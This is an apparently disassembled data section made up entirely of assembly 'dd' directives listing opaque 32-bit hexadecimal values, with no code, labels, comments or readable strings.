		dd 0CDFA4B1Ah, 750EE5C7h, 7EA27F76h, 133A4D7Ah,	4ACEBB4Eh
		dd 1EB0924Bh, 0D12E6F78h, 522814EFh, 834AA30Fh,	0FF14E44Ch
		dd 948DCAAEh, 41A483F8h, 0E23809EBh, 8FF0FEFDh,	0CA4B6800h
		dd 0B49CBA32h, 1CD1635h, 0DC2EE9C2h, 0F05E22D0h, 671F49C4h
		dd 74133B43h, 74DE6AA1h, 5EFA3CC8h, 0F335CC2Dh,	52225E5Bh
		dd 0BD76F829h, 0BC562A42h, 5A35BDA0h, 98BB1B19h, 77048DFAh
		dd 0D4E90D8Fh, 542624F8h, 19A4EF81h, 7E1F955h, 0B1E894D0h
		dd 0D451D3B2h, 8A5F88D7h, 0FED1680Bh, 0D8B32E8Fh, 0DAAA88E9h
		dd 0B6999E77h, 0C1765A0Ch, 0CDCE941h, 0FB181C76h, 3D3B81B9h
		dd 5EB7E695h, 800B07C6h, 6066CC3h, 8D41E590h, 61FA2941h
		dd 0B246206Eh, 0B5485159h, 0D5441A17h, 2AF97227h, 985CD289h
		dd 31234B79h, 3D0508BBh, 9D1A13BBh, 13907810h, 0C6BCEFA9h
		dd 3D7685DEh, 0C9C7012Ah, 2B0F326Bh, 48F33CF4h,	0F64F1FFCh
		dd 3FB41B23h, 0B99FDB5Bh, 6020FCF4h, 0E480822Dh, 2C933BC7h
		dd 47DD82BDh, 77D60BBDh, 2F40220Fh, 698F8427h, 0A6CBBF17h
		dd 7268C660h, 1A4A4E6Ah, 7C947C83h, 67213865h, 2D8FFA4Ah
		dd 0F30BA4Bh, 5863E951h, 5ED353C7h, 7B6B8FBDh, 2E76B7CBh
		dd 2FABDE2Fh, 0C014CE53h, 0C1800CAEh, 97B6060Ch, 8185AEF4h
		dd 0C5EE94EFh, 1CFEB4C3h, 0EC584F40h, 0A70B64CDh, 5E1C2E7h
		dd 0A1AB2D04h, 72247114h, 77F5C44Dh, 54C4550Eh,	8F42E402h
		dd 0D7216C41h, 4023B83Fh, 15178EB9h, 0C9A842F9h, 7108EB28h
		dd 99F9B559h, 0C34857E9h, 0F4A0F63Ch, 181881BBh, 0AB54452Ah
		dd 0BEB92D3Dh, 0D9A63FDCh, 7C186807h, 55657D0Bh, 614BC210h
		dd 4EBF6A0h, 0B80C58BFh, 0CB28738Bh, 7002D93Dh,	8308452Eh
		dd 0B82C2E9h, 0A9167F91h, 80685500h, 0E9789329h, 0B47F5A58h
		dd 6BB498D2h, 5CEE52Dh,	82028864h, 690E4026h, 96848156h
		dd 0FFD6F21Dh, 0F7649962h, 59CC6805h, 16E96BE1h, 1C5E5C0Bh
		dd 7251E109h, 2326F902h, 6009EADBh, 283E5D40h, 0EE9A1409h
		dd 432A12D9h, 6C0BFEF7h, 0B2627D2Dh, 428F40FDh,	72C1B429h
		dd 0C3289C10h, 0B5501994h, 0F5800452h, 0FFEB28A7h, 0B7AAEA35h
		dd 1CC34CD8h, 0DD274893h, 31401532h, 14BDF615h,	0F4384933h
		dd 0DA34FA5Eh, 17C92CEFh, 66886FFBh, 1681C5Bh, 0BBF72F19h
		dd 5AD1E115h, 0C94BE22Eh, 8F91A148h, 0DF303042h, 936599EBh
		dd 4CCBAA5Ah, 9F351771h, 413BA04Fh, 0BF694FB8h,	5460FF15h
		dd 0A09D774Dh, 9C19DDD7h, 0FA5B500Ah, 3507163Ch, 0EC2AFB3Bh
		dd 410B8B49h, 3F00B44Dh, 0F226B9C3h, 0D4C11A4Fh, 287B23CFh
		dd 0EA9DBFD9h, 0EAE7C851h, 6568275Dh, 5B8798DDh, 0F122952Bh
		dd 68011AF4h, 0E63E57EDh, 52C40077h, 0C62D07CBh, 563E20Dh
		dd 123DE635h, 79F1C03Eh, 892F9AACh, 0F66C94C2h,	79E92ED6h
		dd 8A4D9D19h, 52FA9ACBh, 2D50DE5Fh, 0C409A6E7h,	0A9D175BAh
		dd 0F4068617h, 4B5CF601h, 0AE30C4B6h, 0FEAD91ACh, 57846302h
		dd 0F54B0E74h, 6940FFC8h, 23AF19BDh, 559BC7EFh,	9D2DD01Ch
		dd 35886C6Bh, 17220D0Ch, 0D4F5449Eh, 0B87F19F3h, 0F81FD57Ah
		dd 74A513E2h, 6EA263A8h, 605A02C9h, 800EE0BAh, 62C0FBEDh
		dd 55D5F604h, 0C50E36FEh, 52051026h, 87280FB2h,	436CF96h
		dd 24AA9E7h, 5E03B968h,	0EE8564E1h, 5C2D55B2h, 0E92338F5h
		dd 9B2665A8h, 0EEB1FEEAh, 0CFAD6DEDh, 0D12E91AFh, 8B52E2B7h
		dd 0C3A57DC7h, 0A0D8C4FDh, 0C8F33065h, 0D07BF6C5h, 0A2BF0A27h
		dd 65F98A0Ch, 9983D9Dh,	0BBF55D79h, 124F25EEh, 0AA4AE9BCh
		dd 0E9227D62h, 8A7A5D5Dh, 0D4680E9Eh, 0D9AA1602h, 8913AB2h
		dd 0B79D3C05h, 492187F1h, 1AB5B322h, 0C0165Ah, 5B4D500Eh
		dd 0BBBEE0AAh, 0B6256C7Ah, 813500A8h, 24751DCBh, 4362C8h
		dd 0D773B785h, 0E913DF31h, 0D5E91A11h, 9F8004D2h, 2DB80063h
		dd 0A11C944Ch, 0AC04E58Ah, 3E413261h, 11205DB4h, 471A63F7h
		dd 0D64AABFCh, 0AFF364EFh, 5B7406B3h, 5BA5CEE2h, 0C92CDA6h
		dd 0CF374D88h, 0A65A20Ah, 4425E70Ch, 0C4774F24h, 4F5C9A7Eh
		dd 818075E8h, 0A5199E2h, 0F2483B76h, 1ADC04A8h,	3B0EA83h
		dd 0BF742C36h, 29B60C8Ch, 884ABA4Ah, 0B76BF0B1h, 1A9078A9h
		dd 1A81862Ch, 82743659h, 1B4CC48Fh, 2D5280F2h, 88254A4Dh
		dd 9648FD15h, 51805BA1h, 69B6B857h, 6457380Dh, 0F680952Ah
		dd 0B91F0B32h, 7F5A1925h, 0FC4E0B27h, 0BB12EB7Fh, 2004D246h
		dd 4CDF13Dh, 5BA15044h,	0F58BFC7Eh, 0FF8FC0FEh,	1AC71C05h
		dd 8852C6F1h, 20A15C2Fh, 0EAEE27FCh, 0FCA6167Fh, 1039610Fh
		dd 66373A68h, 0A0382279h, 48069CDBh, 0BD1017A5h, 145D3BD5h
		dd 128FF5F3h, 3FEC688h,	0FACE80D3h, 6ADC91E9h, 964F5C49h
		dd 0D7F604E7h, 2778E9h,	2572BB53h, 81964A63h, 3E15E817h
		dd 26575031h, 65AF0004h, 819CC6A6h, 681CE2C6h, 179FB0F8h
		dd 0BC4D0F0Ah, 73C310C1h, 9A90BD77h, 0FB9F2FC5h, 1E831079h
		dd 0B141814Fh, 217EF084h, 4E43FA2Bh, 0FE711DCEh, 0FC67722h
		dd 0E943372Ch, 85DFC4B6h, 5F1CEC5h, 55586270h, 33D88A81h
		dd 3564CFA7h, 38A68EDh,	7B0D31FEh, 7C44059h, 274C945Ah
		dd 0FF5A0954h, 0CA8A09F1h, 5D25C2F0h, 6884BCE5h, 0D8D87E5Ch
		dd 2989B5FDh, 0D6B7B0DFh, 3E5C8130h, 5B9D9EC8h,	89D8B960h
		dd 0D165DD55h, 5D87B69h, 0E16FE950h, 0BD40C266h, 0C788AE16h
		dd 2B221338h, 393F1E3Dh, 5AE90850h, 5C6C01A6h, 6C247368h
		dd 8599C463h, 2CEA3091h, 0ECFCCACCh, 4BA79F2h, 97E9DEC2h
		dd 9444AADFh, 68026462h, 9E737422h, 1437103Dh, 4125E938h
		dd 0E0973EC4h, 0E05AF3ECh, 4A85B0C3h, 0EE4C1282h, 0BE0C714Ah
		dd 0C5CF0329h, 57EE3E3Ah, 8B39F86Ah, 6F7C7E01h,	93136E9Dh
		dd 0BEA2AB5Fh, 55DED27h, 0E0BF5AC5h, 6CBDF099h,	6739FB63h
		dd 1C413218h, 0FEC2D1B2h, 8EFA2867h, 0C98AB28Dh, 0BAD18817h
		dd 121E6823h, 8402EBF1h, 0F06AEC22h, 0A4D8AFE9h, 3BC9B7DBh
		dd 31BF2F58h, 76595099h, 4AAF4A64h, 3CFE3E21h, 60403E50h
		dd 7CEA4FADh, 26487AFEh, 0B022095h, 2C40685Fh, 0FE09F7E6h
		dd 80134B74h, 0E095472h, 281B733h, 2829431Bh, 0BD8019Eh
		dd 0BAE96389h, 0AFBA166Bh, 6CE8C824h, 5845D31Fh, 6405DE77h
		dd 29037502h, 0F7095EF1h, 0ED609879h, 514548F6h, 978FD92Ch
		dd 0FE01D02Dh, 30D82936h, 2FCB313Fh, 0C4ADF5C1h, 0D0A57E0Ch
		dd 0F0125931h, 0F6475550h, 9D18FDA5h, 30D64494h, 0AF4FEEA8h
		dd 3668D720h, 0EE739F58h, 0FB17E209h, 0D8BD8FC1h, 814971E0h
		dd 0B181AE5h, 7C0C3C6Ch, 9D7DFE76h, 0DB3F5654h,	0CB051AFCh
		dd 8240E74Fh, 8904B845h, 5992CFEh, 0C15EE00Bh, 2DA6050Ah
		dd 82A3071Ah, 770C744Bh, 368EB571h, 985FAA7Bh, 20C53F8Ch
		dd 6484382Dh, 0B18897FCh, 315E0407h, 1016C2C3h,	71645107h
		dd 9059A2A0h, 41A1EF6h,	7F76C9BEh, 5E279E4Ch, 722B7E8Ah
		dd 0A775F9DFh, 0CC4254DCh, 0BD6440F4h, 1A362DC6h, 0D494E141h
		dd 0BEC34BC9h, 0B05E44E6h, 0A15BDD09h, 3C700699h, 8E29072Eh
		dd 300E0526h, 0C509122Ah, 0A8B5E97Fh, 7D25D166h, 8508E2CDh
		dd 0BBFA9341h, 8606DC9h, 20095A08h, 0B068576Bh,	54BC3F8h
		dd 9086E1F9h, 0BE05C0F7h, 68B43F56h, 16816BBh, 8F7A0A0Eh
		dd 93306006h, 3A3810FAh, 5203CA49h, 66F5F5Ch, 0C9D707CAh
		dd 0FB0628C1h, 1307D68h
		dd 5808F510h, 5A5DF49Fh, 8685A680h, 40D6F535h, 53C75DAFh
		dd 0B8CEB02Ch, 63BD209h, 0DF208B3Fh, 0BE568CE0h, 0B005323Fh
		dd 10F34457h, 0D55F4863h, 0C192C61Eh, 47E9370Ch, 3CE22EC5h
		dd 0EB8853B4h, 8100F2C9h, 0FF694CA3h, 6A7F294h,	5989ED3Dh
		dd 90DF2ADAh, 9BC689Fh,	5F56EAD9h, 690BF1D7h, 0B8DE0FF0h
		dd 3C0D7948h, 7C08C881h, 2EF22978h, 0F61D23A9h,	404DCDF1h
		dd 3485E0BDh, 0EC163730h, 0BD280FCBh, 788CA1C0h, 0D0B04CE6h
		dd 6807C496h, 7709479Eh, 0E985646Dh, 88BB6896h,	5B9D8ADCh
		dd 0E2902DF2h, 0DBB55BFFh, 7A24B6Eh, 2442ECA3h,	0BE0516D7h
		dd 63DF6BCBh, 5B31BE36h, 7FA89952h, 34E994E4h, 0FF76F73Eh
		dd 5C8051C0h, 525A07DBh, 14531468h, 0CA17C136h,	5076204h
		dd 404F4910h, 0E0CD10EBh, 190E0B02h, 8AE33167h,	9CE9D698h
		dd 0E9E27BD2h, 2E979410h, 8E87AD5Bh, 0A45FD35Ah, 0A3BF3046h
		dd 6A257AF3h, 0FB512478h, 0C270B2EBh, 0D5AF683Dh, 0BC9A93A5h
		dd 77291FA0h, 0FE77CCE5h, 3CD8B491h, 1EE1B017h,	0ABE79319h
		dd 6B5D6232h, 0CC13E1B4h, 92BF2C81h, 0E81A4A79h, 0A0BD35B2h
		dd 0F3810882h, 2EF013AFh, 46148265h, 542DCED4h,	4224A8Fh
		dd 0C2D4E3FAh, 7B5DF21Eh, 611C2DA0h, 8B2345B5h,	0BF6818EFh
		dd 0C32F4A36h, 933DA12h, 0ED3CB5C8h, 3020B258h,	0A853B7DFh
		dd 80281808h, 376F50F5h, 0BA045243h, 399C408Bh,	58AA2780h
		dd 76287666h, 5F4D7CF2h, 474F945h, 64CB2512h, 0BB4EFDEDh
		dd 0D72D0809h, 0A3C317CAh, 69035CBBh, 0EFA27CC6h, 4BD4D92Bh
		dd 12A47C3Ch, 3B5DB1F5h, 83A22DAEh, 48685D52h, 7A331C73h
		dd 17752F0Dh, 0BFC90B80h, 0C8317018h, 0BB1660BFh, 5590057Eh
		dd 0B8AFE4E9h, 14A7DEEAh, 3868F497h, 0AB4E399Ah, 0C669F8DDh
		dd 0E4556C25h, 953D906Fh, 0E97D0157h, 0E5584355h, 0D9175ED9h
		dd 0EBC4006Dh, 94EFD73h, 680D9D18h, 1E145439h, 5BAB02BBh
		dd 0EBD16A28h, 1ECE4040h, 2D27CF12h, 5D2597A2h,	5DB32850h
		dd 0F72255A5h, 0CB41EA83h, 38AE3A87h, 4307685Eh, 5E4DAB4Ah
		dd 112EE6F0h, 0E378979Bh, 0F2427B01h, 2EBC162h,	0BF07107Fh
		dd 4474EE1Eh, 0AADBF77Eh, 83A43042h, 554261AAh,	0BF4E842Eh
		dd 0B85B95B6h, 747800E6h, 0E8C15710h, 9A0D3E06h, 370893h
		dd 0A0202D48h, 5004C8A3h, 0D501585Ah, 4F84D0E4h, 79F4B2Ch
		dd 686A3600h, 86FC128Ch, 290A8E9Ch, 3703FAC3h, 0E9143376h
		dd 5002B1Fh, 0DB0175A8h, 0E772D21h, 207E10B7h, 0FE88524Fh
		dd 0FD95F0E4h, 4F539A9h, 2FAC9959h, 9E5E531Fh, 284CEF15h
		dd 0D42216C9h, 0BA5513CDh, 0E9C279E7h, 945763B5h, 5AEDF654h
		dd 0BFB575FEh, 3BE9A788h, 95F85812h, 0BFE59957h, 0EA2B1749h
		dd 5D166016h, 54B02E1Ch, 0F9B9EA80h, 0BF27CD70h, 0CDC83B59h
		dd 5476210Fh, 6A9E13A8h, 460699AEh, 38D75136h, 0A5C55EBBh
		dd 853E295Fh, 1101EEADh, 1759B057h, 950E35ECh, 0E890F77Bh
		dd 48B1F010h, 8C51F04h,	0E5817307h, 3A6351D0h, 59C7EA4Dh
		dd 0D81F580Ah, 2A65070Dh, 40035715h, 3D2D0F26h,	199F0109h
		dd 0CF5A0748h, 0E959A070h, 12F2B769h, 8A875859h, 0EE12F353h
		dd 0CFED499Dh, 0D8291780h, 4D342A05h, 4A5B6E3Bh, 0BAB5C4EEh
		dd 0A43A5E2Dh, 78BD2919h, 72820E5Eh, 0FAB71133h, 3AB04DC4h
		dd 281E94A7h, 6D880151h, 0DFF7511Dh, 281CF952h,	0F7B82D18h
		dd 4CDCE629h, 0A0152039h, 0E8221018h, 30779448h, 6AD9CD12h
		dd 85FC6E4Bh, 0B7F68925h, 0CBD0A070h, 7A855D7Ah, 67E80BCBh
		dd 54755800h, 78BF807Ch, 0D862BD04h, 49CAC701h,	0ED6F6042h
		dd 541B085Ch, 9F84577Dh, 11B92323h, 6AE81A40h, 50B4A740h
		dd 9398DD6Eh, 31FF2D59h, 0B87FC54Eh, 0C05027E2h, 824DF227h
		dd 4AC860F7h, 7993B4C5h, 3DF23FD2h, 268CAF92h, 0E8305FE7h
		dd 0E1D4C916h, 0D52FB872h, 0EEC2AF48h, 6AE07E08h, 0C0C0161Ch
		dd 51E4BD32h, 89503B7Ah, 0E56468AFh, 0FBC15F11h, 2A0F94h
		dd 295EF7BEh, 12F868DFh, 0B5F81C4h, 0BAD2BFFCh,	422BCF97h
		dd 3FFE5D9Eh, 0B85482F2h, 0B7EF4434h, 7427EA7Ch, 0A3E95899h
		dd 0C2AA2F5Ch, 7F655F68h, 0B0013766h, 0E947974Ch, 0AC7B691Fh
		dd 4312C553h, 7F2132EAh, 0D4428B7Dh, 645F5A89h,	526812FFh
		dd 0A33CAA40h, 0A0EC4AE9h, 769B5C62h, 0CE0A018Bh, 0C044F633h
		dd 2DE8D10Bh, 7E0F4B66h, 0C95B50C3h, 0E9822EE3h, 0B4D97754h
		dd 2D5D44D2h, 0E3991512h, 4CB26A08h, 1213F500h,	0EA29D394h
		dd 914A3B90h, 0BF925CE2h, 0E9121C8Eh, 0BB734059h, 16E4E748h
		dd 0D0D30132h, 0F2E65735h, 0C9BD6828h, 0A7B45595h, 0FE341614h
		dd 0EAB913E7h, 9FC47BE8h, 0F1ADD0E6h, 693D502Bh, 0AE289041h
		dd 0FC9FD95Fh, 78FE34B4h, 0C4FEF82Fh, 229724D8h, 0AD3112A9h
		dd 1AC97EE5h, 0D783B85Ah, 7351979Dh, 63E15CC4h,	9D187A92h
		dd 7E55FE3Ch, 2CA47AEEh, 0EFEE627h, 74C1619h, 11826DBAh
		dd 2DE8D607h, 30E687FAh, 70326827h, 0A32612F6h,	2108042Bh
		dd 0CF9DECCDh, 0FFFE4BF0h, 0AEECC38h, 4A7F770Fh, 3710F201h
		dd 0D45F2508h, 63E970B6h, 56B50C70h, 5CA26243h,	0FE255845h
		dd 30E9E130h, 0EBC02474h, 5B13D9E4h, 3FF0295Dh,	993E49FDh
		dd 57779203h, 0A00B5E3Bh, 4D863A0h, 0A3D0BE92h,	4C15F7BDh
		dd 0E127FD57h, 540AA60h, 346BD80Fh, 60BD7F90h, 66D38816h
		dd 0DE30395Ah, 0AF5FF33Ah, 70B7F133h, 0BBC940BCh, 693D5E7Bh
		dd 0E5B01A4Ch, 0E4A3D042h, 0F96814C5h, 0B6C7D54Dh, 9C6D0B4h
		dd 5A2BBFE9h, 75A6AEFFh, 79937C27h, 0DACE2B34h,	4C2F9704h
		dd 2F0FC942h, 0B8000AECh, 2EDE2019h, 0BF98C389h, 0DF5EE2B5h
		dd 77E2A5C5h, 0A0750B23h, 1341F33Dh, 814F1C4Dh,	0A22289EFh
		dd 8917405Fh, 135F973Bh, 0C6689852h, 84319C25h,	0FCE4EBE9h
		dd 2DAF4FDEh, 83FF3214h, 4BF8E2E9h, 6FC9AB81h, 167EE2Fh
		dd 0BF0039D4h, 3C4C653Ah, 0E0BA520Fh, 0B83D200Fh, 24F36ADEh
		dd 6DCB3101h, 0E9B6113Dh, 746068B7h, 0D4FE082Fh, 0B781F2Bh
		dd 49448829h, 0EB8544Fh, 353768C2h, 0EB93D4F1h,	5E5A85C2h
		dd 5FFA4045h, 0B290EAD1h, 0C61250F6h, 1CEC4A20h, 593A1870h
		dd 0F3DE1C68h, 0D90BB325h, 0A95612A0h, 80A82590h, 0EF8BFEFh
		dd 89581FE3h, 0D92B0DF9h, 54C96F9Eh, 0E5AF9BBEh, 565F25E2h
		dd 1CDDE939h, 2EF2223h,	1FF1E916h, 0FC4E4BA7h, 91AFA510h
		dd 6A92CCD7h, 82CE069Ch, 0E59D3BF8h, 9C2A43Fh, 0B9F14DC6h
		dd 2FFE1D88h, 681C4C78h, 5727608Ah, 0C60072C5h,	4CF93BBAh
		dd 0F521ED29h, 31380806h, 0A2C97F57h, 0D5F701C7h, 0E510C237h
		dd 0DE680908h, 62ECD40Eh, 0C8E15086h, 0C962172Dh, 452F681Bh
		dd 6BD1BC7Ch, 0D44BE874h, 0FAD2AD38h, 3EDD7BB5h, 0D9573704h
		dd 650BF3Dh, 134B4308h,	74BBBBE7h, 0C9D8FFB3h, 7F3431E9h
		dd 7B1C88BBh, 0CD99F434h, 3B4E50C4h, 410155h, 0DE95D08h
		dd 0C1DC809Fh, 5C310AE8h, 7711EDC8h, 41DD2756h,	0DC4E5EECh
		dd 1134BB4Fh, 8431BF81h, 10118B2Fh, 174E464Dh, 0F613AEE8h
		dd 9FA693F4h, 0E8D35FA4h, 65BB02CFh, 0FF4376B3h, 6A292649h
		dd 0CFAADFC4h, 529044FCh, 456F0BFh, 894D852Bh, 0CACCC7DAh
		dd 0BABA97FDh, 57294B81h, 0CD5AFFD6h, 54BF0473h, 0D95DFACAh
		dd 88ADE4B8h, 364AB40Bh, 0F315C6F3h, 4C2A8119h,	76B800A5h
		dd 352F7D73h, 31E827CAh, 0E72E9BB8h, 0ED8093FEh, 0EACEBD9Eh
		dd 4DB20505h, 0C40153ECh
		dd 5D0701D5h, 88131C68h, 2785F45Bh, 0E181CF40h,	0E42D4576h
		dd 194F716Dh, 6E0CF604h, 27251BC1h, 487D4902h, 255C7E9Dh
		dd 40756CDEh, 3A7599DCh, 11979DACh, 0A87C57E8h,	6C28B97Ch
		dd 56B1E916h, 9EA30116h, 825E1564h, 96AC4430h, 12C2F4CAh
		dd 764DED24h, 0A007DA26h, 57A66FC2h, 6D0BC1D9h,	9776E6D7h
		dd 12BF3EF4h, 0CDFE35E8h, 1FE3885h, 0E97AA00Ch,	0F76B19F6h
		dd 8E6817A9h, 105454D8h, 4E2B86E9h, 4FAF7E16h, 40F866C9h
		dd 2912F705h, 0E0FC6B97h, 0E2E3004Fh, 9227CC3h,	40EB10D2h
		dd 4253F47Dh, 0D64F3193h, 2FFFF5A0h, 890156E9h,	208AF388h
		dd 0D2F60522h, 50FEF928h, 17445C4Bh, 0C6B342D3h, 8C0B8D12h
		dd 4C5B3D56h, 0D2D3A2h,	387B3CF5h, 0E504811Dh, 466C0A20h
		dd 452BF4FBh, 0F804312h, 747E307h, 0B318AA2h, 60985C70h
		dd 0F3E18E54h, 7332AE7Ch, 5D0CAA93h, 0B4A0A514h, 608277EAh
		dd 923CB762h, 85345B4Fh, 92CBA296h, 2D2F0B2h, 28E90C44h
		dd 6A868C50h, 1164575Bh, 1AF1CC12h, 21DBD97Fh, 0CD052032h
		dd 7038731Bh, 0C77BD8E4h, 0EC429054h, 5133DCCh,	19A94Bh
		dd 6330165Dh, 0BAC058E9h, 3A8613E3h, 6575C044h,	0AC0885EAh
		dd 5E493E9h, 0B3188D68h, 2ED00F22h, 0D9E98235h,	0DFCBA1B6h
		dd 0CFD15E5Bh, 7E5FAB60h, 0EE1F4A1Ah, 9A838024h, 0CC5312FCh
		dd 1058F364h, 0B44AC454h, 7E58F688h, 2B0C6052h,	2FF16FC1h
		dd 7F40F529h, 28750367h, 541E925h, 0F0EF0567h, 79012D01h
		dd 1755807h, 8F2057D8h,	0DB0B1D5Ah, 6078A749h, 89B6C84Ah
		dd 0E9E0D690h, 2097AF52h, 3B2CD7DBh, 2F28BF66h,	89422E08h
		dd 7C29311Bh, 0AF3E77FBh, 0DFCF89A9h, 51E904F3h, 0F1838B1Dh
		dd 74AF3571h, 0DFC10C84h, 599756FAh, 3566943h, 72E4DC25h
		dd 0DA4C0076h, 97A8B28Dh, 69ECB976h, 0B8FF8A8Dh, 163E21AFh
		dd 0AB094E15h, 0BC118C17h, 0C982DD6Dh, 0F708090Dh, 121F4F80h
		dd 0EDEA1E39h, 80B2A45Eh, 81774850h, 0BFBC2AB9h, 5B5FBF5Bh
		dd 83FDF8CAh, 0AD6ED3A7h, 95F29E7Fh, 2EEA94DFh,	5337B2B7h
		dd 0D084EF9Ah, 49E1958Eh, 73F55674h, 300DEDDEh,	0FE5AE223h
		dd 0C7D353ECh, 110349A7h, 0FBCC9E43h, 31D20987h, 1F21DDF2h
		dd 0FB3D29C3h, 36E9D398h, 80D0564Eh, 480D4128h,	8D02517Ch
		dd 89E451C0h, 0FE5F7CC2h, 68578012h, 7FCF4F19h,	0BEF095BAh
		dd 6F7C4E4Bh, 80F740A3h, 13A3C948h, 8021625Bh, 0D4DE2184h
		dd 1FD1F88h, 0A7E978FBh, 0BC356F28h, 0AD1221B2h, 0FFDDEEAEh
		dd 124EF73Ah, 574EDE6Ah, 7A4A4768h, 0D369102Bh,	0F9DD82ACh
		dd 47C22D08h, 0C299678Ch, 0B55072BFh, 0D1CBF9FBh, 6DAF0323h
		dd 0E5F22C6Fh, 0B5D04E4Bh, 45596A09h, 3BE102FEh, 0F5159778h
		dd 0B8013FA0h, 2948084Ah, 5117176Ah, 93B20FEh, 324C5D18h
		dd 74E702EFh, 5D405E93h, 8D61D7AFh, 6B313E16h, 0AA09F4F0h
		dd 0C90C57A9h, 662FE440h, 3593C044h, 2BD22423h,	1033038Eh
		dd 0D204479Fh, 18EB7202h, 30B0D7EEh, 243AB16Ch,	0BDB6C8B7h
		dd 0EE4897A0h, 7197361Dh, 32B242AFh, 27E2B268h,	777C15C9h
		dd 8B28C446h, 3124C7E1h, 0A216C9D8h, 0C0AEF952h, 0F0295FE7h
		dd 0E1BE5604h, 0B0B8100Dh, 124D2702h, 0E5E3108h, 303C5092h
		dd 64FB48A0h, 3A56FB96h, 93042FBDh, 2021517Fh, 5B4560A4h
		dd 4143A77Bh, 1C28A10Ch, 6823E904h, 774AF2B4h, 8D5F5A3Fh
		dd 0F70C01D1h, 32D74540h, 0F7F85B56h, 6B1E7197h, 0E9122878h
		dd 5084DD15h, 0EBCDC1AEh, 10F66FE1h, 1CC3377Ah,	80044906h
		dd 815A00BFh, 240E4DF2h, 24D523B7h, 0AF28249Eh,	0CE8C0BF4h
		dd 0BFC111CAh, 0C14F5D33h, 0AED353A2h, 0C313078Ah, 57CA28DCh
		dd 1C1E9C97h, 0C4F9F766h, 0FA48FB68h, 9E373CF6h, 4455F24Bh
		dd 6C2FC0ECh, 7A10E601h, 12142751h, 727138D9h, 56255981h
		dd 0E82E8B76h, 0F492F3ABh, 5C5E4516h, 41F75D06h, 0A1C1BF0Dh
		dd 0B6493E08h, 2EDBDDE5h, 0B2D624Ah, 68CF38F8h,	0F064A4C0h
		dd 0C42313B0h, 0DB9EDC03h, 3031B54Ah, 0D1016F7Dh, 0ADB4FFEFh
		dd 6EA1C0Ch, 8408E2CCh,	25600C45h, 5DF84721h, 0E496318h
		dd 0B97A7C8h, 0F1E96F6Ch, 0D3DDAC89h, 0B8B0C9DBh, 385B55E9h
		dd 0DDCE8F40h, 0EB0136EAh, 0B4E3B4F4h, 83D91CCDh, 0D2F659CAh
		dd 0FDA527E3h, 4AD9D444h, 0FC0912BEh, 7BE710E2h, 15FC4Fh
		dd 0BCE8108h, 0B735F02Ah, 0D7E0BC42h, 485ED668h, 1423ED30h
		dd 5D412D10h, 16914583h, 125A203Fh, 2CBA1152h, 0FB6595ECh
		dd 5FB5BACh, 0EC2650F6h, 87688219h, 4956F379h, 0A755F35Fh
		dd 0F3BE19DFh, 15DFEC3Eh, 2B2CFE9h, 0D87F83B8h,	7C56148h
		dd 0B07C8143h, 33E96C3Fh, 8827CAC5h, 7C080C2h, 14CE2E8Eh
		dd 7DDC454h, 0BCA8C894h, 0F3EFD785h, 1E030779h,	46D213F6h
		dd 0A4E6D6BEh, 30A4A2Ah, 7E7F4286h, 7C9DE7E0h, 5C40DB2Fh
		dd 0A19682DDh, 3843A818h, 1534BFA4h, 0AFED12ABh, 6809D29Eh
		dd 0E3A46BD3h, 4C97A8D0h, 0F90D1030h, 41BCB650h, 0DDE87ADAh
		dd 3A855CE2h, 80F2BC52h, 72EDBB53h, 7DE398BAh, 24FD20DDh
		dd 49081AC3h, 7E5E2DA5h, 192C7140h, 9B7B1EEh, 0BAA18A68h
		dd 92CD5B27h, 297EE035h, 5B54FB5Ch, 0BCAA1BC4h,	782CF2E9h
		dd 1591428h, 4B02DFEFh,	4E609416h, 7AB94075h, 3BA2BD27h
		dd 81098890h, 1A22D479h, 9EABB30h, 198C285Bh, 8A0AC5Ch
		dd 6F141CD0h, 0E855AD62h, 0CBEFE014h, 25C509E8h, 4DD30712h
		dd 444EEDD0h, 0E9790BCFh, 7E3E8AAh, 3219B6B1h, 0FA08937Eh
		dd 507B3ACFh, 5C4A358h,	31645F3Eh, 2AD981DFh, 60447A7Ch
		dd 0BCEC21CDh, 10CE48CAh, 0BFB5BF2h, 2650216Fh,	0C4AC51B5h
		dd 0E80FC08h, 36F19BDh,	9EE58160h, 0E02B4A74h, 0AD0E10E5h
		dd 0E0685079h, 581EEB25h, 0E9A0C201h, 0AD906607h, 68806A77h
		dd 0F45B4F34h, 59419383h, 5FC587C2h, 8A2DEEA9h,	50745DFCh
		dd 0FED97685h, 0B53399AFh, 0E3F8F9C8h, 264CBBA5h, 2753395Ah
		dd 0D2505B59h, 0BFDCD3F3h, 0BE4094F2h, 4C5F6476h, 0C3F380BEh
		dd 290FBF0Fh, 0E46DE10Ch, 50915368h, 4BE093D3h,	0ECF19DB3h
		dd 0F439EAE3h, 0E58EE8EAh, 12F34488h, 0BB3F436Ch, 0C404CB6h
		dd 0C29EB45Dh, 5AD559E9h, 0CF9720D5h, 206CB804h, 0C1B83DE4h
		dd 25099273h, 0B354F07Fh, 53A92A6Bh, 7DEF900Bh,	3B9F95E7h
		dd 3E32DF25h, 59C84360h, 3E675C26h, 0D5FBD204h,	68887AC1h
		dd 8EE15602h, 79E3C418h, 81004896h, 0A15162F6h,	0F8314E36h
		dd 0C1553C01h, 79C1AC60h, 84305E02h, 5DEDEE2Eh,	82A5F8A4h
		dd 0FF5B5453h, 3B3094CDh, 0B75374E9h, 7AB2FDF9h, 0E100E8F2h
		dd 6539B850h, 0EFEA79B2h, 0E9F4F3C8h, 0D77CB87Eh, 5A13D2EEh
		dd 38F82360h, 0B065B926h, 0A07D7202h, 0F778C831h, 66119FD6h
		dd 5CBC2A59h, 0F8AD9534h, 84292D3Fh, 0E1FEEBD1h, 0F5A23F3Eh
		dd 5F11BAC0h, 0C29D454Fh, 16FE61AAh, 7B37287Bh,	19E4D14Eh
		dd 0CCF34AE2h, 5719BDA0h, 46983CF0h, 6FDCC740h,	0BC77605Fh
		dd 7271985Bh, 0E9F50105h, 90A838CAh, 122768ACh,	4B09809h
		dd 0C432827Fh, 9DE0FFC1h, 9F9C8016h, 4705C12Eh,	0E9ACFEF6h
		dd 7E7755C2h, 30349282h, 0C0C80102h, 2D5D97D7h,	0D5505BBBh
		dd 250AC59h, 529F9905h,	0D3A160FCh, 549B2F30h, 40802A8h
		dd 0BF5180E9h, 36BAA531h, 0E5ECF913h, 0A264BEBh, 0AD504868h
		dd 20D2DA88h, 5BD70996h, 0AF8519F4h, 2FA9B192h,	0D043509Ah
		dd 5F82131h, 0C2FB04D9h
